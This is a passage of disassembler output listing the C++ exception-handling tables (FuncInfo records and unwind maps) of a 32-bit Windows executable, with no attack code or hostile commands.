dword_43F668 dd 19930520h, 6, 43F688h, 5 dup(0) dd 0FFFFFFFFh, 438F20h, 0
dd offset loc_438F28
dd 1, 438F30h, 2, 438F38h, 2, 438F40h, 2, 438F48h, 2 dup(0)
dword_43F6C0 dd 19930520h, 6, 43F6E0h, 5 dup(0) dd 0FFFFFFFFh, 438F70h, 0
dd offset loc_438F78
dd 1, 438F80h, 2, 438F88h, 2, 438F90h, 2, 438F98h, 2 dup(0)
dword_43F718 dd 19930520h, 3, 43F738h, 5 dup(0) dd 0FFFFFFFFh, 438FC0h, 0
dd offset loc_438FC8
dd 1, 438FD0h, 2 dup(0)
dword_43F758 dd 19930520h, 1, 43F778h, 5 dup(0) dd 0FFFFFFFFh, 438FF0h, 2 dup(0)
dword_43F788 dd 19930520h, 7, 43F7A8h, 5 dup(0) dd 0FFFFFFFFh, 439010h, 0
dd offset loc_439018
dd 0FFFFFFFFh, 439020h, 0FFFFFFFFh, 439028h, 3, 439030h
dd 4, 439038h, 0FFFFFFFFh, 439040h, 2 dup(0)
dword_43F7E8 dd 19930520h, 24h, 43F808h, 5 dup(0) dd 0FFFFFFFFh, 439070h, 0
dd offset loc_439078
dd 1, 439083h, 2, 43908Eh, 3, 439099h, 4, 4390A7h, 5, 4390B5h
dd 6, 4390C3h, 7, 4390D1h, 8, 4390DFh, 9, 4390EDh, 0Ah
dd 4390FBh, 0Bh, 439109h, 0Ch, 439117h, 0Dh, 439125h, 0Eh
dd 439133h, 0Fh, 439141h, 10h, 43914Fh, 11h, 43915Dh, 11h
dd 439165h, 11h, 43916Dh, 11h, 439175h, 11h, 43917Dh, 11h
dd 439185h, 11h, 43918Dh, 11h, 439195h, 11h, 43919Dh, 11h
dd 4391A5h, 11h, 4391ADh, 11h, 4391B5h, 11h, 4391BDh, 11h
dd 4391C5h, 11h, 4391CDh, 11h, 4391D5h, 11h, 4391DDh, 11h
dd 4391E5h, 8 dup(0)
dword_43F948 dd 19930520h, 11h, 43F968h, 5 dup(0) dd 0FFFFFFFFh, 439260h, 0
dd offset loc_439268
dd 1, 439273h, 2, 43927Eh, 3, 439289h, 4, 439297h, 5, 4392A5h
dd 6, 4392B3h, 7, 4392C1h, 8, 4392CFh, 9, 4392DDh, 0Ah
dd 4392EBh, 0Bh, 4392F9h, 0Ch, 439307h, 0Dh, 439315h, 0Eh
dd 439323h, 0Fh, 439331h, 4 dup(0)
dword_43FA00 dd 19930520h, 38h, 43FA20h, 5 dup(0) dd 0FFFFFFFFh, 439390h, 0
dd offset loc_43939B
dd 1, 4393A6h, 0
dd offset loc_4393B1
dd 0
dd offset loc_4393BC
dd 0
dd offset loc_4393C7
dd 0
dd offset loc_4393D2
dd 0
dd offset loc_4393DD
dd 0
dd offset loc_4393E8
dd 0
dd offset loc_4393F3
dd 9, 4393FEh, 0
dd offset loc_439409
dd 0
dd offset loc_439414
dd 0
dd offset loc_43941F
dd 0
dd offset loc_43942A
dd 0Eh, 439435h, 0Eh, 439443h, 0Eh, 439451h, 0Eh, 43945Ch
dd 0Eh, 43946Ah, 0Eh, 439478h, 0Eh, 439483h, 0Eh, 43948Eh
dd 0
dd offset loc_439499
dd 0
dd offset loc_4394A4
dd 0
dd offset loc_4394B2
dd 0
; ---------------------------------------------------------------------------
rcl byte ptr [ebx+eax*2+1A00h], 0
retf
; ---------------------------------------------------------------------------
db 94h, 43h, 0
dd 1Bh, 4394D6h, 0
dd offset loc_4394E1
dd 1Dh, 4394ECh, 0
dd offset loc_4394F7
dd 1Fh, 439502h, 0
dd offset loc_43950D
dd 0
dd offset loc_439518
dd 0
dd offset loc_439523
dd 0
dd offset loc_43952E
dd 0
dd offset loc_439539
dd 25h, 439544h, 26h, 43954Fh, 0
dd offset loc_43954F
dd 28h, 439544h, 0
dd offset loc_43955A
dd 0
dd offset loc_439565
dd 2Bh, 439570h, 2Ch, 43957Bh, 0
dd offset loc_43957B
dd 2Eh, 439570h, 2Eh, 439586h, 0
dd offset loc_439591
dd 31h, 43959Ch, 0
dd offset loc_4395A7
dd 0
dd offset loc_4395B2
dd 34h, 4395BDh, 35h, 4395C8h, 34h, 4395C8h, 0Ch dup(0)
dword_43FC10 dd 19930520h, 1, 43FC30h, 5 dup(0) dd 0FFFFFFFFh, 439670h, 2 dup(0)
dword_43FC40 dd 19930520h, 1, 43FC60h, 5 dup(0) dd 0FFFFFFFFh, 439690h, 2 dup(0)
dword_43FC70 dd 19930520h, 6, 43FC90h, 5 dup(0) dd 0FFFFFFFFh, 4396B0h, 0
dd offset loc_4396B8
dd 1, 4396C3h, 2, 4396CEh, 3, 4396D9h, 4, 4396E4h, 2 dup(0)
dword_43FCC8 dd 19930520h, 6, 43FCE8h, 5 dup(0) dd 0FFFFFFFFh, 439710h, 0
dd offset loc_439718
dd 1, 439723h, 2, 43972Eh, 3, 439739h, 4, 439744h, 2 dup(0)
dword_43FD20 dd 19930520h, 0Ah, 43FD40h, 5 dup(0) dd 0FFFFFFFFh, 439770h, 0FFFFFFFFh, 439778h, 0FFFFFFFFh
dd 439780h, 0FFFFFFFFh, 439788h, 0FFFFFFFFh, 439790h, 0FFFFFFFFh
dd 439798h, 0FFFFFFFFh, 4397A0h, 0FFFFFFFFh, 4397A8h, 0FFFFFFFFh
dd 4397B0h, 0FFFFFFFFh, 4397B8h, 4 dup(0)
dword_43FDA0 dd 19930520h, 0Eh, 43FDC0h, 5 dup(0) dd 0FFFFFFFFh, 4397E0h, 0
dd offset loc_4397E8
dd 0FFFFFFFFh, 4397F3h, 0FFFFFFFFh, 4397FBh, 0FFFFFFFFh
dd 439803h, 0FFFFFFFFh, 43980Bh, 5, 439816h, 0FFFFFFFFh
dd 43981Eh, 0FFFFFFFFh, 439826h, 0FFFFFFFFh, 43982Eh, 9
dd 439839h, 0FFFFFFFFh, 439841h, 0Bh, 439849h, 0Ch, 439851h
dd 4 dup(0)
dword_43FE40 dd 19930520h, 2, 43FE60h, 5 dup(0) dd 0FFFFFFFFh, 439898h, 0
dd offset loc_439890
dd 2 dup(0)
dword_43FE78 dd 19930520h, 2, 43FE98h, 5 dup(0) dd 0FFFFFFFFh, 4398D0h, 0
dd offset loc_4398D8
align 10h
dword_43FEB0 dd 19930520h, 1, 43FED0h, 5 dup(0) dd 0FFFFFFFFh, 4398F0h, 2 dup(0)
dword_43FEE0 dd 19930520h, 7, 43FF00h, 5 dup(0) dd 0FFFFFFFFh, 439910h, 0
dd offset loc_439918
dd 1, 439923h, 2, 43992Eh, 2, 439936h, 4, 43993Eh, 5, 439946h
dd 2 dup(0)
dword_43FF40 dd 19930520h, 4, 43FF60h, 5 dup(0) dd 0FFFFFFFFh, 439970h, 0
dd offset loc_43997B
dd 1, 439986h, 2, 439991h, 2 dup(0)
dword_43FF88 dd 19930520h, 4, 43FFA8h, 5 dup(0) dd 0FFFFFFFFh, 4399C0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 99h, 43h, 0
dd 1, 4399D6h, 2, 4399E1h, 2 dup(0)
dword_43FFD0 dd 19930520h, 2, 43FFF0h, 5 dup(0) dd 0FFFFFFFFh, 439A10h, 0FFFFFFFFh, 439A18h, 2 dup(0)
dword_440008 dd 19930520h, 1, 440028h, 5 dup(0) dd 0FFFFFFFFh, 439A30h, 2 dup(0)
dword_440038 dd 19930520h, 1, 440058h, 5 dup(0) dd 0FFFFFFFFh, 439A50h, 2 dup(0)
dword_440068 dd 19930520h, 2, 440088h, 5 dup(0) dd 0FFFFFFFFh, 439A70h, 0
dd offset loc_439A78
align 10h
dword_4400A0 dd 19930520h, 3, 4400C0h, 5 dup(0) dd 0FFFFFFFFh, 439A90h, 0
dd offset loc_439A98
dd 1, 439AA3h, 2 dup(0)
dword_4400E0 dd 19930520h, 3, 440100h, 5 dup(0) dd 0FFFFFFFFh, 439AD0h, 0
dd offset loc_439AD8
dd 1, 439AE0h, 2 dup(0)
dword_440120 dd 19930520h, 1, 440140h, 5 dup(0) dd 0FFFFFFFFh, 439B00h, 2 dup(0)
dword_440150 dd 19930520h, 4, 440170h, 5 dup(0) dd 0FFFFFFFFh, 439B20h, 0
dd offset loc_439B28
dd 0
dd offset loc_439B30
dd 0
dd offset loc_439B3B
dd 2 dup(0)
dword_440198 dd 19930520h, 6, 4401B8h, 5 dup(0) dd 0FFFFFFFFh, 439B60h, 0
dd offset loc_439B68
dd 1, 439B70h, 2, 439B78h, 3, 439B80h, 4, 439B88h, 2 dup(0)
dword_4401F0 dd 19930520h, 3, 440210h, 5 dup(0) dd 0FFFFFFFFh, 439BB0h, 0
dd offset loc_439BBB
dd 1, 439BC6h, 2 dup(0)
dword_440230 dd 19930520h, 4, 440250h, 5 dup(0) dd 0FFFFFFFFh, 439BF0h, 0
dd offset loc_439BF8
dd 1, 439C00h, 2, 439C08h, 2 dup(0)
dword_440278 dd 19930520h, 5, 440298h, 5 dup(0) dd 0FFFFFFFFh, 439C30h, 0
dd offset loc_439C38
dd 1, 439C40h, 2, 439C48h, 3, 439C50h, 2 dup(0)
dword_4402C8 dd 19930520h, 4, 4402E8h, 5 dup(0) dd 0FFFFFFFFh, 439C80h, 0
dd offset loc_439C88
dd 1, 439C93h, 2, 439C9Eh, 2 dup(0)
dword_440310 dd 19930520h, 3, 440330h, 5 dup(0) dd 0FFFFFFFFh, 439CC0h, 0
dd offset loc_439CC8
dd 1, 439CD0h, 2 dup(0)
dword_440350 dd 19930520h, 1, 440370h, 5 dup(0) dd 0FFFFFFFFh, 439CF0h, 2 dup(0)
dword_440380 dd 19930520h, 2, 4403A0h, 5 dup(0) dd 0FFFFFFFFh, 439D10h, 0
dd offset loc_439D18
dd 2 dup(0)
dword_4403B8 dd 19930520h, 2, 4403D8h, 5 dup(0) dd 0FFFFFFFFh, 439D30h, 0
dd offset loc_439D38
align 10h
dword_4403F0 dd 19930520h, 3, 440410h, 5 dup(0) dd 0FFFFFFFFh, 439D50h, 0
dd offset loc_439D5B
dd 1, 439D66h, 2 dup(0)
dword_440430 dd 19930520h, 1, 440450h, 5 dup(0) dd 0FFFFFFFFh, 439D90h, 2 dup(0)
dword_440460 dd 19930520h, 1, 440480h, 5 dup(0) dd 0FFFFFFFFh, 439DB0h, 2 dup(0)
dword_440490 dd 19930520h, 4, 4404B0h, 5 dup(0) dd 0FFFFFFFFh, 439DD0h, 0
dd offset loc_439DD8
dd 1, 439DE3h, 2, 439DEEh, 2 dup(0)
dword_4404D8 dd 19930520h, 7, 4404F8h, 5 dup(0) dd 0FFFFFFFFh, 439E10h, 0FFFFFFFFh, 439E18h, 0FFFFFFFFh
dd 439E20h, 2, 439E28h, 3, 439E30h, 4, 439E38h, 0FFFFFFFFh
dd 439E40h, 2 dup(0)
dword_440538 dd 19930520h, 1Bh, 440558h, 5 dup(0) dd 0FFFFFFFFh, 439E70h, 0
dd offset loc_439E78
dd 1, 439E83h, 2, 439E91h, 3, 439E9Fh, 4, 439EADh, 5, 439EBBh
dd 6, 439EC9h, 7, 439ED7h, 8, 439EE5h, 9, 439EF3h, 0Ah
dd 439F01h, 0Bh, 439F0Fh, 0Ch, 439F1Dh, 0Dh, 439F2Bh, 0Eh
dd 439F39h, 0Fh, 439F47h, 10h, 439F55h, 11h, 439F63h, 12h
dd 439F71h, 13h, 439F7Fh, 14h, 439F8Dh, 15h, 439F9Bh, 16h
dd 439FA9h, 17h, 439FB7h, 18h, 439FC5h, 19h, 439FD3h, 6 dup(0)
dword_440648 dd 19930520h, 1Bh, 440668h, 5 dup(0) dd 0FFFFFFFFh, 43A050h, 0
dd offset loc_43A058
dd 1, 43A063h, 2, 43A071h, 3, 43A07Fh, 4, 43A08Dh, 5, 43A09Bh
dd 6, 43A0A9h, 7, 43A0B7h, 8, 43A0C5h, 9, 43A0D3h, 0Ah
dd 43A0E1h, 0Bh, 43A0EFh, 0Ch, 43A0FDh, 0Dh, 43A10Bh, 0Eh
dd 43A119h, 0Fh, 43A127h, 10h, 43A135h, 11h, 43A143h, 12h
dd 43A151h, 13h, 43A15Fh, 14h, 43A16Dh, 15h, 43A17Bh, 16h
dd 43A189h, 17h, 43A197h, 18h, 43A1A5h, 19h, 43A1B3h, 6 dup(0)
dword_440758 dd 19930520h, 1, 440778h, 5 dup(0) dd 0FFFFFFFFh, 43A230h, 2 dup(0)
dword_440788 dd 19930520h, 3Dh, 4407A8h, 5 dup(0) dd 0FFFFFFFFh, 43A250h, 0
dd offset loc_43A25B
dd 1, 43A266h, 2, 43A274h, 3, 43A282h, 4, 43A290h, 5, 43A29Eh
dd 6, 43A2ACh, 7, 43A2BAh, 8, 43A2C8h, 9, 43A2D6h, 0Ah
dd 43A2E4h, 0Bh, 43A2F2h, 0Ch, 43A300h, 0Dh, 43A30Eh, 0Eh
dd 43A31Ch, 0Fh, 43A32Ah, 10h, 43A338h, 11h, 43A346h, 12h
dd 43A354h, 13h, 43A362h, 14h, 43A370h, 15h, 43A37Eh, 16h
dd 43A38Ch, 17h, 43A39Ah, 18h, 43A3A8h, 19h, 43A3B6h, 1Ah
dd 43A3C4h, 1Bh, 43A3D2h, 1Ch, 43A3E0h, 1Dh, 43A3EEh, 1Eh
dd 43A3FCh, 1Fh, 43A40Ah, 20h, 43A418h, 21h, 43A426h, 22h
dd 43A434h, 23h, 43A442h, 24h, 43A450h, 25h, 43A45Eh, 26h
dd 43A46Ch, 27h, 43A47Ah, 28h, 43A488h, 29h, 43A496h, 2Ah
dd 43A4A4h, 2Bh, 43A4B2h, 2Ch, 43A4C0h, 2Dh, 43A4CEh, 2Eh
dd 43A4DCh, 2Fh, 43A4EAh, 30h, 43A4F8h, 31h, 43A506h, 32h
dd 43A514h, 33h, 43A522h, 34h, 43A530h, 35h, 43A53Eh, 36h
dd 43A54Ch, 37h, 43A55Ah, 38h, 43A568h, 39h, 43A576h, 3Ah
dd 43A584h, 3Bh, 43A592h, 0Eh dup(0)
dword_4409C8 dd 19930520h, 4, 4409E8h, 5 dup(0) dd 0FFFFFFFFh, 43A680h, 0
dd offset loc_43A68B
dd 1, 43A696h, 2, 43A6A1h, 2 dup(0)
dword_440A10 dd 19930520h, 6, 440A30h, 5 dup(0) dd 0FFFFFFFFh, 43A6D0h, 0
dd offset loc_43A6DB
dd 1, 43A6E6h, 2, 43A6F1h, 3, 43A6FFh, 4, 43A70Dh, 2 dup(0)
dword_440A68 dd 19930520h, 4, 440A88h, 5 dup(0) dd 0FFFFFFFFh, 43A740h, 0
dd offset loc_43A74E
dd 1, 43A75Ch, 2, 43A76Ah, 2 dup(0)
dword_440AB0 dd 19930520h, 5, 440AD0h, 5 dup(0) dd 0FFFFFFFFh, 43A7A0h, 0
dd offset loc_43A7AB
dd 1, 43A7B6h, 2, 43A7C1h, 3, 43A7CFh, 2 dup(0)
dword_440B00 dd 19930520h, 5, 440B20h, 5 dup(0) dd 0FFFFFFFFh, 43A800h, 0
dd offset loc_43A80B
dd 1, 43A816h, 2, 43A821h, 3, 43A82Fh, 2 dup(0)
dword_440B50 dd 19930520h, 1, 440B70h, 5 dup(0) dd 0FFFFFFFFh, 43A860h, 2 dup(0)
dword_440B80 dd 19930520h, 1, 440BA0h, 5 dup(0) dd 0FFFFFFFFh, 43A880h, 2 dup(0)
dword_440BB0 dd 19930520h, 1, 440BD0h, 5 dup(0) dd 0FFFFFFFFh, 43A8A0h, 2 dup(0)
dword_440BE0 dd 19930520h, 2, 440C00h, 5 dup(0) dd 0FFFFFFFFh, 43A8C0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0A8h, 43h, 0
dd 2 dup(0)
dword_440C18 dd 19930520h, 4, 440C38h, 5 dup(0) dd 0FFFFFFFFh, 43A8F0h, 0
dd offset loc_43A8FB
dd 1, 43A906h, 2, 43A911h, 2 dup(0)
dword_440C60 dd 19930520h, 4, 440C80h, 5 dup(0) dd 0FFFFFFFFh, 43A940h, 0
dd offset loc_43A94B
dd 1, 43A956h, 2, 43A961h, 2 dup(0)
dword_440CA8 dd 19930520h, 6, 440CC8h, 5 dup(0) dd 0FFFFFFFFh, 43A990h, 0
dd offset loc_43A99B
dd 1, 43A9A6h, 2, 43A9B1h, 3, 43A9BFh, 4, 43A9CDh, 2 dup(0)
dword_440D00 dd 19930520h, 4, 440D20h, 5 dup(0) dd 0FFFFFFFFh, 43AA00h, 0
dd offset loc_43AA0E
dd 1, 43AA1Ch, 2, 43AA2Ah, 2 dup(0)
dword_440D48 dd 19930520h, 5, 440D68h, 5 dup(0) dd 0FFFFFFFFh, 43AA60h, 0
dd offset loc_43AA6B
dd 1, 43AA76h, 2, 43AA81h, 3, 43AA8Fh, 2 dup(0)
dword_440D98 dd 19930520h, 5, 440DB8h, 5 dup(0) dd 0FFFFFFFFh, 43AAC0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0AAh, 43h, 0
dd 1, 43AAD6h, 2, 43AAE1h, 3, 43AAEFh, 2 dup(0)
dword_440DE8 dd 19930520h, 1, 440E08h, 5 dup(0) dd 0FFFFFFFFh, 43AB20h, 2 dup(0)
dword_440E18 dd 19930520h, 1, 440E38h, 5 dup(0) dd 0FFFFFFFFh, 43AB40h, 2 dup(0)
dword_440E48 dd 19930520h, 1, 440E68h, 5 dup(0) dd 0FFFFFFFFh, 43AB60h, 2 dup(0)
dword_440E78 dd 19930520h, 2, 440E98h, 5 dup(0) dd 0FFFFFFFFh, 43AB80h, 0
dd offset loc_43AB8B
align 10h
dword_440EB0 dd 19930520h, 4, 440ED0h, 5 dup(0) dd 0FFFFFFFFh, 43ABB0h, 0
dd offset loc_43ABBB
dd 1, 43ABC6h, 2, 43ABD1h, 2 dup(0)
dword_440EF8 dd 19930520h, 1, 440F18h, 5 dup(0) dd 0FFFFFFFFh, 43AC00h, 2 dup(0)
dword_440F28 dd 19930520h, 2, 440F48h, 5 dup(0) dd 0FFFFFFFFh, 43AC20h, 0
dd offset loc_43AC2B
align 10h
dword_440F60 dd 19930520h, 1, 440F80h, 5 dup(0) dd 0FFFFFFFFh, 43AC50h, 2 dup(0)
dword_440F90 dd 19930520h, 1, 440FB0h, 5 dup(0) dd 0FFFFFFFFh, 43AC70h, 2 dup(0)
dword_440FC0 dd 19930520h, 2, 440FE0h, 5 dup(0) dd 0FFFFFFFFh, 43AC90h, 0
dd offset loc_43AC9B
dd 2 dup(0)
dword_440FF8 dd 19930520h, 1, 441018h, 5 dup(0) dd 0FFFFFFFFh, 43ACC0h, 2 dup(0)
dword_441028 dd 19930520h, 3, 441048h, 5 dup(0) dd 0FFFFFFFFh, 43ACE0h, 0
dd offset loc_43ACF7
dd 1, 43ACFFh, 2 dup(0)
dword_441068 dd 19930520h, 1, 441088h, 5 dup(0) dd 0FFFFFFFFh, 43AD20h, 2 dup(0)
dword_441098 dd 19930520h, 4, 4410B8h, 5 dup(0) dd 0FFFFFFFFh, 43AD48h, 0
dd offset sub_43AD40
dd 0
dd offset loc_43AD5F
dd 2, 43AD67h, 2 dup(0)
dword_4410E0 dd 19930520h, 6, 441100h, 5 dup(0) dd 0FFFFFFFFh, 43AD90h, 0FFFFFFFFh, 43AD98h, 0FFFFFFFFh
dd 43ADA0h, 0FFFFFFFFh, 43ADA8h, 0FFFFFFFFh, 43ADB0h, 0FFFFFFFFh
dd 43ADB8h, 2 dup(0)
dword_441138 dd 19930520h, 1Ah, 441158h, 5 dup(0) dd 0FFFFFFFFh, 43ADE0h, 0
dd offset loc_43ADEB
dd 1, 43ADF6h, 2, 43AE01h, 3, 43AE0Ch, 4, 43AE17h, 5, 43AE1Fh
dd 5, 43AE2Ah, 5, 43AE35h, 5, 43AE43h, 5, 43AE4Eh, 5, 43AE59h
dd 5, 43AE67h, 5, 43AE72h, 5, 43AE7Dh, 5, 43AE88h, 5, 43AE96h
dd 5, 43AEA1h, 5, 43AEACh, 5, 43AEBAh, 5, 43AEC5h, 5, 43AED0h
dd 5, 43AEDEh, 5, 43AEE9h, 5, 43AEF4h, 5, 43AEFFh, 6 dup(0)
dword_441240 dd 19930520h, 4, 441260h, 5 dup(0) dd 0FFFFFFFFh, 43AF70h, 0
dd offset loc_43AF78
dd 1, 43AF83h, 2, 43AF8Eh, 2 dup(0)
dword_441288 dd 19930520h, 4, 4412A8h, 5 dup(0) dd 0FFFFFFFFh, 43AFB0h, 0
dd offset loc_43AFB8
dd 1, 43AFC3h, 2, 43AFCEh, 2 dup(0)
dword_4412D0 dd 19930520h, 6, 4412F0h, 5 dup(0) dd 0FFFFFFFFh, 43AFF0h, 0
dd offset loc_43AFF8
dd 1, 43B003h, 2, 43B00Eh, 3, 43B019h, 4, 43B024h, 2 dup(0)
dword_441328 dd 19930520h, 6, 441348h, 5 dup(0) dd 0FFFFFFFFh, 43B050h, 0
dd offset loc_43B058
dd 1, 43B063h, 2, 43B06Eh, 3, 43B079h, 4, 43B084h, 2 dup(0)
dword_441380 dd 19930520h, 6, 4413A0h, 5 dup(0) dd 0FFFFFFFFh, 43B0B0h, 0FFFFFFFFh, 43B0BBh, 0FFFFFFFFh
dd 43B0C6h, 2, 43B0D1h, 3, 43B0DCh, 2, 43B0E7h, 2 dup(0)
dword_4413D8 dd 19930520h, 3, 4413F8h, 5 dup(0) dd 0FFFFFFFFh, 43B110h, 0FFFFFFFFh, 43B118h, 0FFFFFFFFh
dd 43B120h, 2 dup(0)
dword_441418 dd 19930520h, 5, 441438h, 5 dup(0) dd 0FFFFFFFFh, 43B140h, 0FFFFFFFFh, 43B148h, 0FFFFFFFFh
dd 43B150h, 0FFFFFFFFh, 43B158h, 0FFFFFFFFh, 43B160h, 2 dup(0)
dword_441468 dd 19930520h, 0Ch, 441488h, 5 dup(0) dd 0FFFFFFFFh, 43B180h, 0
dd offset loc_43B188
dd 0FFFFFFFFh, 43B190h, 0FFFFFFFFh, 43B198h, 0FFFFFFFFh
dd 43B1A0h, 0FFFFFFFFh, 43B1A8h, 5, 43B1B0h, 0FFFFFFFFh
dd 43B1B8h, 0FFFFFFFFh, 43B1C0h, 0FFFFFFFFh, 43B1C8h, 0FFFFFFFFh
dd 43B1D0h, 0FFFFFFFFh, 43B1D8h, 4 dup(0)
dword_4414F8 dd 19930520h, 2, 441518h, 1, 441528h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 441540h, 4 dup(0)
dd offset loc_41EE2C
dd 2 dup(0)
dword_441558 dd 19930520h, 0Ah, 441578h, 5 dup(0) dd 0FFFFFFFFh, 43B220h, 0
dd offset loc_43B22B
dd 1, 43B236h, 2, 43B241h, 3, 43B24Ch, 3, 43B257h, 3, 43B262h
dd 3, 43B26Dh, 3, 43B278h, 3, 43B283h, 4 dup(0)
dword_4415D8 dd 19930520h, 2, 4415F8h, 5 dup(0) dd 0FFFFFFFFh, 43B2C0h, 0
dd offset loc_43B2C8
align 10h
dword_441610 dd 19930520h, 3, 441630h, 5 dup(0) dd 0FFFFFFFFh, 43B2E0h, 0FFFFFFFFh, 43B2EBh, 1, 43B2F6h
dd 2 dup(0)
dword_441650 dd 19930520h, 1, 441670h, 5 dup(0) dd 0FFFFFFFFh, 43B320h, 2 dup(0)
dword_441680 dd 19930520h, 2, 4416A0h, 5 dup(0) dd 0FFFFFFFFh, 43B340h, 0
dd offset loc_43B34B
dd 2 dup(0)
dword_4416B8 dd 19930520h, 16h, 4416D8h, 5 dup(0) dd 0FFFFFFFFh, 43B370h, 0
dd offset loc_43B37B
dd 0
dd offset loc_43B383
dd 0
dd offset loc_43B38B
dd 3, 43B393h, 4, 43B39Bh, 0
dd offset loc_43B3A3
dd 6, 43B3ABh, 7, 43B3B3h, 0
dd offset loc_43B3BB
dd 9, 43B3C3h, 0Ah, 43B3CBh, 0
dd offset loc_43B3D3
dd 0Ch, 43B3DBh, 0Dh, 43B3E3h, 0
dd offset loc_43B3EB
dd 0Fh, 43B3F3h, 0
dd offset loc_43B3FB
dd 11h, 43B403h, 0
dd offset loc_43B40B
dd 13h, 43B413h, 13h, 43B41Bh, 6 dup(0)
dword_4417A0 dd 19930520h, 1, 4417C0h, 5 dup(0) dd 0FFFFFFFFh, 43B460h, 2 dup(0)
dword_4417D0 dd 19930520h, 1, 4417F0h, 5 dup(0) dd 0FFFFFFFFh, 43B490h, 2 dup(0)
dword_441800 dd 19930520h, 5, 441820h, 5 dup(0) dd 0FFFFFFFFh, 43B4C0h, 0FFFFFFFFh, 43B4C8h, 0FFFFFFFFh
dd 43B4D0h, 0FFFFFFFFh, 43B4D8h, 0FFFFFFFFh, 43B4E0h, 2 dup(0)
dword_441850 dd 19930520h, 0Bh, 441870h, 5 dup(0) dd 0FFFFFFFFh, 43B500h, 0FFFFFFFFh, 43B50Bh, 0FFFFFFFFh
dd 43B521h, 0FFFFFFFFh, 43B52Ch, 0FFFFFFFFh, 43B537h, 0FFFFFFFFh
dd 43B542h, 0FFFFFFFFh, 43B54Dh, 0FFFFFFFFh, 43B558h, 0FFFFFFFFh
dd 43B563h, 0FFFFFFFFh, 43B56Eh, 0FFFFFFFFh, 43B516h, 4 dup(0)
dword_4418D8 dd 19930520h, 5, 4418F8h, 5 dup(0) dd 0FFFFFFFFh, 43B5B0h, 0FFFFFFFFh, 43B5B8h, 0FFFFFFFFh
dd 43B5C0h, 0FFFFFFFFh, 43B5C8h, 0FFFFFFFFh, 43B5D0h, 2 dup(0)
dword_441928 dd 19930520h, 15h, 441948h, 5 dup(0) dd 0FFFFFFFFh, 43B5F0h, 0FFFFFFFFh, 43B5FBh, 0FFFFFFFFh
dd 43B603h, 0FFFFFFFFh, 43B60Bh, 0FFFFFFFFh, 43B613h, 0FFFFFFFFh
dd 43B61Bh, 0FFFFFFFFh, 43B626h, 0FFFFFFFFh, 43B62Eh, 0FFFFFFFFh
dd 43B636h, 0FFFFFFFFh, 43B63Eh, 0FFFFFFFFh, 43B646h, 0FFFFFFFFh
dd 43B651h, 0FFFFFFFFh, 43B659h, 0FFFFFFFFh, 43B661h, 0FFFFFFFFh
dd 43B669h, 0FFFFFFFFh, 43B671h, 0FFFFFFFFh, 43B67Ch, 0FFFFFFFFh
dd 43B684h, 0FFFFFFFFh, 43B68Ch, 0FFFFFFFFh, 43B694h, 0FFFFFFFFh
dd 43B69Ch, 6 dup(0)
dword_441A08 dd 19930520h, 1, 441A28h, 5 dup(0) dd 0FFFFFFFFh, 43B6E0h, 2 dup(0)
dword_441A38 dd 19930520h, 5, 441A58h, 5 dup(0) dd 0FFFFFFFFh, 43B700h, 0
dd offset loc_43B708
dd 1, 43B713h, 2, 43B71Eh, 3, 43B729h, 2 dup(0)
dword_441A88 dd 19930520h, 5, 441AA8h, 5 dup(0) dd 0FFFFFFFFh, 43B750h, 0
dd offset loc_43B758
dd 1, 43B763h, 2, 43B76Eh, 3, 43B779h, 2 dup(0)
dword_441AD8 dd 19930520h, 1, 441AF8h, 5 dup(0) dd 0FFFFFFFFh, 43B7A0h, 2 dup(0)
dword_441B08 dd 19930520h, 1, 441B28h, 5 dup(0) dd 0FFFFFFFFh, 43B7C0h, 2 dup(0)
dword_441B38 dd 19930520h, 1, 441B58h, 5 dup(0) dd 0FFFFFFFFh, 43B7E0h, 2 dup(0)
dword_441B68 dd 19930520h, 1, 441B88h, 5 dup(0) dd 0FFFFFFFFh, 43B800h, 2 dup(0)
dword_441B98 dd 19930520h, 1, 441BB8h, 5 dup(0) dd 0FFFFFFFFh, 43B820h, 2 dup(0)
dword_441BC8 dd 19930520h, 1, 441BE8h, 5 dup(0) dd 0FFFFFFFFh, 43B840h, 2 dup(0)
dword_441BF8 dd 19930520h, 1, 441C18h, 5 dup(0) dd 0FFFFFFFFh, 43B860h, 2 dup(0)
dword_441C28 dd 19930520h, 1, 441C48h, 5 dup(0) dd 0FFFFFFFFh, 43B880h, 2 dup(0)
dword_441C58 dd 19930520h, 6, 441C78h, 5 dup(0) dd 0FFFFFFFFh, 43B8A0h, 0
dd offset loc_43B8A8
dd 1, 43B8B3h, 2, 43B8BEh, 3, 43B8C9h, 4, 43B8D4h, 2 dup(0)
dword_441CB0 dd 19930520h, 6, 441CD0h, 5 dup(0) dd 0FFFFFFFFh, 43B900h, 0
dd offset loc_43B908
dd 1, 43B913h, 2, 43B91Eh, 3, 43B929h, 4, 43B934h, 2 dup(0)
dword_441D08 dd 19930520h, 3, 441D28h, 5 dup(0) dd 0FFFFFFFFh, 43B960h, 0
dd offset loc_43B968
dd 1, 43B976h, 2 dup(0)
dword_441D48 dd 19930520h, 16h, 441D68h, 5 dup(0) dd 0FFFFFFFFh, 43B9A0h, 0
dd offset loc_43B9AB
dd 1, 43B9B6h, 2, 43B9C1h, 2, 43B9CCh, 2, 43B9D7h, 2, 43B9E2h
dd 6, 43B9EDh, 2, 43B9F8h, 8, 43BA03h, 2, 43BA0Eh, 0Ah
dd 43BA19h, 2, 43BA24h, 0Ch, 43BA2Fh, 0Dh, 43BA3Ah, 0Eh
dd 43BA45h, 0Fh, 43BA50h, 0Fh, 43BA5Bh, 0Fh, 43BA66h, 0Fh
dd 43BA71h, 0Fh, 43BA7Ch, 0Fh, 43BA87h, 6 dup(0)
dword_441E30 dd 19930520h, 1, 441E50h, 5 dup(0) dd 0FFFFFFFFh, 43BAE0h, 2 dup(0)
dword_441E60 dd 19930520h, 1, 441E80h, 5 dup(0) dd 0FFFFFFFFh, 43BB00h, 2 dup(0)
dword_441E90 dd 19930520h, 1, 441EB0h, 5 dup(0) dd 0FFFFFFFFh, 43BB20h, 2 dup(0)
dword_441EC0 dd 19930520h, 1, 441EE0h, 5 dup(0) dd 0FFFFFFFFh, 43BB40h, 2 dup(0)
dword_441EF0 dd 19930520h, 1, 441F10h, 5 dup(0) dd 0FFFFFFFFh, 43BB60h, 2 dup(0)
